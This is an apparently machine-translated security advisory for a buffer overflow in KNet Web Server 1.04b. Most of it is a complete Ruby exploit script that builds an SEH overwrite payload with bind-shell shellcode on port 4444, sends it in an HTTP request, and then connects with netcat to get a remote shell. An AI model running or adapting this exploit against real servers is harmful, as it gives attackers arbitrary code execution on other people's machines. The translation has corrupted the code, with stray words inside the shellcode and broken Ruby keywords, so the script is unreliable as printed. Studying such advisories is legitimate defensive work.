KNet Web Server Buffer Overflow Vulnerability

Release date:
Updated on:

Affected Systems:
KNet Web Server
Description:
--------------------------------------------------------------------------------
Bugtraq id: 58781
 
KNet Web Server is a small Web Server.
 
Remote buffer overflow exists in KNet 1.04b and other versions. During the vulnerability attack exception handling process (SEH), the shell is bound to port 4444, causing arbitrary code execution in the application context.
 
<* Source: Myo Soe

Link: http://packetstormsecurity.com/files/120964/KNet-Web-Server-Buffer-Overflow.html
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
#! /Usr/bin/ruby

# Exploit Title: KNet Web Server Buffer Overflow SEH
# Date: 2013-03-27
# Exploit Author: Myo Soe, http://yehg.net/
# Software Link: http://www.softpedia.com/progDownload/KNet-Download-20137.html
# Version: KNet 1.04b
# Tested on: Windows 7

Require 'net/http'
Require 'uri'
Require 'socket'
######################################## ####

# Bind port 4444
SC _bind =
"\ Xbd \ x0e \ x27 \ x05 \ xab \ xda \ xdb \ xd9 \ x74 \ x24 \ xf4 \ x5a \ x33 \ xc9" +
"\ Xb1 \ x56 \ x83 \ xc2 \ x04 \ x31 \ x6a \ x0f \ x03 \ x6a \ x01 \ xc5 \ xf0 \ x57" +
"\ Xf5 \ x80 \ xfb \ xa7 \ x05 \ xf3 \ x72 \ x42 \ x34 \ x21 \ xe0 \ x06 \ x64 \ xf5" +
"\ X62 \ x4a \ x84 \ x7e \ x26 \ x7f \ x1f \ xf2 \ xef \ cross city \ xa8 \ xb9 \ xc9 \ xbf" +
"\ X29 \ x0c \ xd6 \ x6c \ xe9 \ x0e \ xaa \ x6e \ x3d \ xf1 \ x93 \ xa0 \ x30 \ xf0" +
"\ Xd4 \ xdd \ xba \ xa0 \ x8d \ xaa \ x68 \ x55 \ xb9 \ xef \ xb0 \ x54 \ x6d \ x64" +
"\ X88 \ x2e \ x08 \ xbb \ x7c \ x85 \ x13 \ xec \ x2c \ x92 \ x5c \ x14 \ x47 \ xfc" +
"\ X7c \ x25 \ x84 \ x1e \ x40 \ x6c \ xa1 \ xd5 \ x32 \ x6f \ x63 \ x24 \ xba \ x41" +
"\ X4b \ xeb \ x85 \ x6d \ x46 \ xf5 \ xc2 \ x4a \ xb8 \ x80 \ x38 \ xa9 \ x45 \ x93" +
"\ Xfa \ xd3 \ x91 \ x16 \ x1f \ x73 \ x52 \ x80 \ xfb \ x85 \ xb7 \ x57 \ x8f \ x8a" +
"\ X7c \ x13 \ xd7 \ x8e \ x83 \ xf0 \ x63 \ xaa \ x08 \ xf7 \ xa3 \ x3a \ x4a \ xdc" +
"\ X67 \ x66 \ x09 \ x7d \ x31 \ xc2 \ xfc \ x82 \ x21 \ xaa \ xa1 \ x26 \ x29 \ x59" +
"\ Xb6 \ x51 \ x36 \ x7b \ x6c \ x8b \ xc6 \ x13 \ xe7 \ xf8 \ xf4 \ xbc \ x53" +
"\ X97 \ xb4 \ x35 \ x7a \ x60 \ xba \ x6c \ x3a \ xfe \ x45 \ x8e \ x3b \ xd6 \ x81" +
"\ Xda \ x6b \ x40 \ x23 \ x62 \ xe0 \ x90 \ xcc \ xb7 \ xa7 \ xc0 \ x62 \ x67 \ x08" +
"\ Xb1 \ xc2 \ xd7 \ xe0 \ xdb \ xcc \ x08 \ x10 \ xe4 \ x06 \ x3f \ x16 \ x2a \ x72" +
"\ X6c \ xf1 \ x4f \ x84 \ x83 \ x5d \ xd9 \ x62 \ xc9 \ x4d \ x8f \ x3d \ x65 \ xac" +
"\ Xf4 \ xf5 \ x12 \ xcf \ xde \ xa9 \ x8b \ x47 \ x56 \ xa4 \ x0b \ x67 \ x67 \ xe2" +
"\ X38 \ xc4 \ xcf \ x65 \ xca \ x06 \ xd4 \ x94 \ xcd \ x02 \ x7c \ xde \ xf6 \ xc5" +
"\ Xf6 \ x8e \ xb5 \ x74 \ x06 \ x9b \ x2d \ x14 \ x95 \ x40 \ xad \ x53 \ x86 \ xde" +
"\ Xfa \ x34 \ x78 \ x17 \ x6e \ xa9 \ x23 \ x81 \ x8c \ x30 \ xb5 \ xea \ x14 \ xef" +
"\ X06 \ xf4 \ x95 \ x62 \ x32 \ xd2 \ x85 \ xba \ xbb \ x5e \ xf1 \ x12 \ xea \ x08" +
"\ Xaf \ xd4 \ x44 \ xfb \ x19 \ x8f \ x3b \ x55 \ xcd \ x56 \ cross 7 \ x66 \ x8b \ x56" +
"\ X5d \ x10 \ x73 \ xe6 \ x08 \ x65 \ x8c \ xc7 \ xdc \ x61 \ xf5 \ x35 \ x7d \ x8d" +
"\ X2c \ xfe \ x8d \ xc4 \ x6c \ x57 \ x06 \ x81 \ xe5 \ xe5 \ x4b \ x32 \ xd0 \ x2a" +
"\ X72 \ xb1 \ xd0 \ xd2 \ x81 \ xa9 \ x91 \ xd7 \ xce \ x6d \ x4a \ xaa \ x5f \ x18" +
"\ X6c \ x19 \ x5f \ x09"

######################################## ###

Sploit = "\ x90" * 1234
Sploit + = "\ xFF \ x64 \ x24 \ x5C" # nseh | JMP [ESP + 5C] FF6424 5C; will jump to Shell Code at ESP + 5C
Sploit + = "\ xE3 \ x74 \ x24 \ x6C" # seh | Found pop esi-pop ebp-ret at 0x6C2474E3 [crtdll. dll]
Sploit + = "\ x90" * 80

Sploit + = SC _bind
Sploit + = "\ x90" * 80

########################################

Puts "KNet Web Server-Buffer Overflow SEH Exploit \ r \ n by Myo Soe, http://yehg.net/?n=n"
Target = ARGV [0]

Def exploit (t, s)
Target = 'HTTP: // '+ t
Sploit = s
Puts "[*] Sending exploit to # {target}... \ n"
Url = URI. parse (target)
Res = Net: HTTP. start (url. host, url. port) {| http |
Http. get ('/' + sploit)
}
End
Def connect (t)
Sleep (1)
Target = t
Puts "[*] Opening Shell .. \ n ";
System ("nc # {target} 4444 ")
End
T1 = Thread. new {exploit (target, sploit )}
T2 = Thread. new {connect (target )}
T1.join
T2.join

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:
 
KNet Web Server
---------------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:
 
Http://www.softpedia.com/get/Internet/Servers/WEB-Servers/KNet.shtml